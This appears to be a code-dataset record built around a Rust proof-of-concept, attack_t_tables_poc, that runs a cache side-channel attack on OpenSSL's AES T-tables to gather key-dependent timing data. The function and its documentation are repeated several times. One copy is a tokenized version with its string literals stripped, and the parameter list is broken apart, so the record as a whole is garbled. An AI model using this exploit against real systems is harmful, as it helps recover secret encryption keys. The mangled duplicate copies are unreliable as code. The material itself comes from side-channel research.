pub unsafe fn attack_t_tables_poc<T: ChannelHandle>(
    side_channel: &mut impl TableCacheSideChannel<T>,
    parameters: AESTTableParams,
    name: &str,
) {
    let old_affinity = set_affinity(&side_channel.main_core()).unwrap();


    // Possible enhancements : use ability to monitor several addresses simultaneously.
    let fd = File::open(parameters.openssl_path).unwrap();
    let mmap = unsafe { Mmap::map(&fd).unwrap() };
    let base = mmap.as_ptr();

    let te0 = unsafe { base.offset(parameters.te[0]) };
    if unsafe { (te0 as *const u64).read() } != 0xf87c7c84c66363a5 {
        panic!("Hmm This does not look like a T-table, check your address and the openssl used\nUse `nm libcrypto.so.1.0.0 | \"grep Te[0-4]\"`")
    }

    let key_struct = aes::AesKey::new_encrypt(&parameters.key).unwrap();

    let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();

    let mut addresses: Vec<*const u8> = parameters
        .te
        .iter()
        .map(|&start| ((start)..(start + 64 * 16)).step_by(64))
        .flatten()
        .map(|offset| unsafe { base.offset(offset) })
        .collect();

    addresses.shuffle(&mut thread_rng());

    let mut victims_handle = unsafe { side_channel.calibrate(addresses.clone()).unwrap() };

    for addr in addresses.iter() {
        let mut timing = HashMap::new();
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            timing.insert(b, 0);
        }
        timings.insert(*addr, timing);
    }

    let mut victim_handles_ref = victims_handle.iter_mut().collect();

    for b in (u8::min_value()..=u8::max_value()).step_by(16) {
        eprintln!("Probing with b = {:x}", b);
        // fixme magic numbers

        let victim = || {
            let mut plaintext = [0u8; 16];
            plaintext[KEY_BYTE_TO_ATTACK] = b;
            for byte in plaintext.iter_mut().skip(1) {
                *byte = rand::random();
            }
            let mut iv = [0u8; 32];
            let mut result = [0u8; 16];
            aes_ige(&plaintext, &mut result, &key_struct, &mut iv, Mode::Encrypt);
        };

        let r = unsafe {
            side_channel.attack(&mut victim_handles_ref, &victim, parameters.num_encryptions)
        };
        match r {
            Ok(v) => {
                for table_attack_result in v {
                    *timings
                        .get_mut(&table_attack_result.addr)
                        .unwrap()
                        .entry(b)
                        .or_insert(0) += table_attack_result.get(Miss);
                }
            }
            Err(_) => panic!("Attack failed"),
        }
    }
    addresses.sort();

    for probe in addresses.iter() {
        print!("{:p}", probe);
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            print!(" {:4}", timings[probe][&b]);
        }
        println!();
    }

    for probe in addresses {
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            println!("CSV:{},{:p},{},{}", name, probe, b, timings[&probe][&b]);
        }
    }

    restore_affinity(&old_affinity);
}
/// This function takes a side channel, attack parameters and a name used for logging purpose and
/// runs the AES T-table attack using a shared read-only address attack.
///
/// It prints out the attack results as a CSV.
///
/// # Safety
///
/// te must refer to the correct t tables offset in the openssl library at path.
///
/// Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
This function takes a side channel, attack parameters and a name used for logging purpose and
runs the AES T-table attack using a shared read-only address attack.

It prints out the attack results as a CSV.
This function takes a side channel attack parameters and a name used for logging purpose and runs the AES T - table attack using a shared read - only address attack . It prints out the attack results as a CSV .
pub unsafe fn attack_t_tables_poc<T: ChannelHandle>(
    side_channel: &mut impl TableCacheSideChannel<T>,
    parameters: AESTTableParams,
    name: &str,
) {
    let old_affinity = set_affinity(&side_channel.main_core()).unwrap();
    // Possible enhancements : use ability to monitor several addresses simultaneously.
    let fd = File::open(parameters.openssl_path).unwrap();
    let mmap = unsafe { Mmap::map(&fd).unwrap() };
    let base = mmap.as_ptr();
    let te0 = unsafe { base.offset(parameters.te[0]) };
    if unsafe { (te0 as *const u64).read() } != 0xf87c7c84c66363a5 {
        panic!("Hmm This does not look like a T-table, check your address and the openssl used\nUse `nm libcrypto.so.1.0.0 | \"grep Te[0-4]\"`")
    }
    let key_struct = aes::AesKey::new_encrypt(&parameters.key).unwrap();
    let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
    let mut addresses: Vec<*const u8> = parameters
        .te
        .iter()
        .map(|&start| ((start)..(start + 64 * 16)).step_by(64))
        .flatten()
        .map(|offset| unsafe { base.offset(offset) })
        .collect();
    addresses.shuffle(&mut thread_rng());
    let mut victims_handle = unsafe { side_channel.calibrate(addresses.clone()).unwrap() };
    for addr in addresses.iter() {
        let mut timing = HashMap::new();
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            timing.insert(b, 0);
        }
        timings.insert(*addr, timing);
    }
    let mut victim_handles_ref = victims_handle.iter_mut().collect();
    for b in (u8::min_value()..=u8::max_value()).step_by(16) {
        eprintln!("Probing with b = {:x}", b);
        // fixme magic numbers
        let victim = || {
            let mut plaintext = [0u8; 16];
            plaintext[KEY_BYTE_TO_ATTACK] = b;
            for byte in plaintext.iter_mut().skip(1) {
                *byte = rand::random();
            }
            let mut iv = [0u8; 32];
            let mut result = [0u8; 16];
            aes_ige(&plaintext, &mut result, &key_struct, &mut iv, Mode::Encrypt);
        };
        let r = unsafe {
            side_channel.attack(&mut victim_handles_ref, &victim, parameters.num_encryptions)
        };
        match r {
            Ok(v) => {
                for table_attack_result in v {
                    *timings
                        .get_mut(&table_attack_result.addr)
                        .unwrap()
                        .entry(b)
                        .or_insert(0) += table_attack_result.get(Miss);
                }
            }
            Err(_) => panic!("Attack failed"),
        }
    }
    addresses.sort();
    for probe in addresses.iter() {
        print!("{:p}", probe);
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            print!(" {:4}", timings[probe][&b]);
        }
        println!();
    }
    for probe in addresses {
        for b in (u8::min_value()..=u8::max_value()).step_by(16) {
            println!("CSV:{},{:p},{},{}", name, probe, b, timings[&probe][&b]);
        }
    }
    restore_affinity(&old_affinity);
}
pub unsafe fn attack_t_tables_poc < T : ChannelHandle > ( side_channel : & mut impl TableCacheSideChannel < T > , parameters : AESTTableParams , name : & str , ) { let old_affinity = set_affinity ( & side_channel . main_core ( ) ) . unwrap ( ) ; // Possible enhancements : use ability to monitor several addresses simultaneously. let fd = File :: open ( parameters . openssl_path ) . unwrap ( ) ; let mmap = unsafe { Mmap :: map ( & fd ) . unwrap ( ) } ; let base = mmap . as_ptr ( ) ; let te0 = unsafe { base . offset ( parameters . te [ 0 ] ) } ; if unsafe { ( te0 as * const u64 ) . read ( ) } != 0xf87c7c84c66363a5 { panic ! ( " \n \" \" " ) } let key_struct = aes :: AesKey :: new_encrypt ( & parameters . key ) . unwrap ( ) ; let mut timings : HashMap < * const u8 , HashMap < u8 , u32 > > = HashMap :: new ( ) ; let mut addresses : Vec < * const u8 > = parameters . te . iter ( ) . map ( | & start | ( ( start ) .. ( start + 64 * 16 ) ) . step_by ( 64 ) ) . flatten ( ) . map ( | offset | unsafe { base . offset ( offset ) } ) . collect ( ) ; addresses . shuffle ( & mut thread_rng ( ) ) ; let mut victims_handle = unsafe { side_channel . calibrate ( addresses . clone ( ) ) . unwrap ( ) } ; for addr in addresses . iter ( ) { let mut timing = HashMap :: new ( ) ; for b in ( u8 :: min_value ( ) ..= u8 :: max_value ( ) ) . step_by ( 16 ) { timing . insert ( b , 0 ) ; } timings . insert ( * addr , timing ) ; } let mut victim_handles_ref = victims_handle . iter_mut ( ) . collect ( ) ; for b in ( u8 :: min_value ( ) ..= u8 :: max_value ( ) ) . step_by ( 16 ) { eprintln ! ( " " b ) ; // fixme magic numbers let victim = | | { let mut plaintext = [ 0u8 ; 16 ] ; plaintext [ KEY_BYTE_TO_ATTACK ] = b ; for byte in plaintext . iter_mut ( ) . skip ( 1 ) { * byte = rand :: random ( ) ; } let mut iv = [ 0u8 ; 32 ] ; let mut result = [ 0u8 ; 16 ] ; aes_ige ( & plaintext , & mut result , & key_struct , & mut iv , Mode :: Encrypt ) ; } ; let r = unsafe { side_channel . attack ( & mut victim_handles_ref , & victim , parameters . num_encryptions ) } ; match r { Ok ( v ) => { for table_attack_result in v { * timings . get_mut ( & table_attack_result . addr ) . unwrap ( ) . entry ( b ) . or_insert ( 0 ) += table_attack_result . get ( Miss ) ; } } Err ( _ ) => panic ! ( " " ) , } } addresses . sort ( ) ; for probe in addresses . iter ( ) { print ! ( " " probe ) ; for b in ( u8 :: min_value ( ) ..= u8 :: max_value ( ) ) . step_by ( 16 ) { print ! ( " " timings [ probe ] [ b ] ) ; } println ! ( ) ; } for probe in addresses { for b in ( u8 :: min_value ( ) ..= u8 :: max_value ( ) ) . step_by ( 16 ) { println ! ( " " name probe b timings [ probe ] [ b ] ) ; } } restore_affinity ( & old_affinity ) ; }
This function takes a side channel, attack parameters and a name used for logging purpose and
runs the AES T-table attack using a shared read-only address attack.
This function takes a side channel attack parameters and a name used for logging purpose and runs the AES T - table attack using a shared read - only address attack .
side_channel
&mut impl TableCacheSideChannel<T>
parameters
AESTTableParams
name
&str
safety
te must refer to the correct t tables offset in the openssl library at path.

Note : This function doesn't handle the case where the address space is not shared. (Additionally you have the issue of complicated eviction sets due to complex addressing)
te must refer to the correct t tables offset in the openssl library at path . Note : This function doesn ' t handle the case where the address space is not shared . ( Additionally you have the issue of complicated eviction sets due to complex addressing )